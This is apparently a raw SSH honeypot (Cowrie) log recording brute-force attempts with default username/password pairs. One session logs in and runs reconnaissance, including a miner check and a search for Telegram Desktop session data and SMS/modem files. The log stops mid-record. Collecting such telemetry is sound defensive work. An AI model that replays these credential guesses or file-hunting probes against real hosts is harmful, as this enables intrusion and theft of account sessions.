{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:27.360680Z","src_ip":"2.57.122.208","session":"9e1a1e6ab840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:27.906655Z","src_ip":"2.57.122.208","session":"9e1a1e6ab840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:40:29.104659Z","src_ip":"2.57.122.208","session":"9e1a1e6ab840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c858a08c500","protocol":"ssh","message":"New connection: 2.57.121.112:34806 (159.203.135.109:22) [session: 8c858a08c500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:27.091299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:27.095579Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:27.194730Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"74747474","message":"login attempt [admin/74747474] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:27.666447Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"72727272","message":"login attempt [admin/72727272] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:28.767810Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"71717171","message":"login attempt [admin/71717171] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:29.868979Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"708090a","message":"login attempt [admin/708090a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:30.970259Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6bjVPe","message":"login attempt [admin/6bjVPe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:32.072891Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:41:33.174555Z","src_ip":"2.57.121.112","session":"8c858a08c500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46088,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6c37d36114","protocol":"ssh","message":"New connection: 2.57.122.208:46088 (10.17.0.5:22) [session: ea6c37d36114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:42:39.119106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:42:39.123501Z","src_ip":"2.57.122.208","session":"ea6c37d36114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:42:39.217983Z","src_ip":"2.57.122.208","session":"ea6c37d36114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:42:39.502265Z","src_ip":"2.57.122.208","session":"ea6c37d36114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:42:40.633178Z","src_ip":"2.57.122.208","session":"ea6c37d36114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.165.204.105","src_port":59748,"dst_ip":"159.203.135.109","dst_port":22,"session":"2efd101898a6","protocol":"ssh","message":"New connection: 121.165.204.105:59748 (159.203.135.109:22) [session: 2efd101898a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:00.119762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:00.124921Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:00.328293Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:01.763408Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:02.969433Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:03.402186Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:03.404732Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:03.407346Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:03.615719Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.089900Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.093282Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":906,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.297751Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.726364Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.728538Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:04.933550Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:05.407310Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:05.409898Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:05.623005Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.060780Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.064002Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.270920Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.702175Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.704894Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:06.912927Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:07.381541Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:07.384223Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:07.592294Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:08.091698Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:08.095267Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:08.385509Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:08.817356Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:08.820535Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:43:09.026282Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"73.5","message":"Connection lost after 73.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:13.594174Z","src_ip":"121.165.204.105","session":"2efd101898a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41810,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ca608429f4","protocol":"ssh","message":"New connection: 2.57.122.208:41810 (10.17.0.5:22) [session: 78ca608429f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:52.556907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:44:52.561316Z","src_ip":"2.57.122.208","session":"78ca608429f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-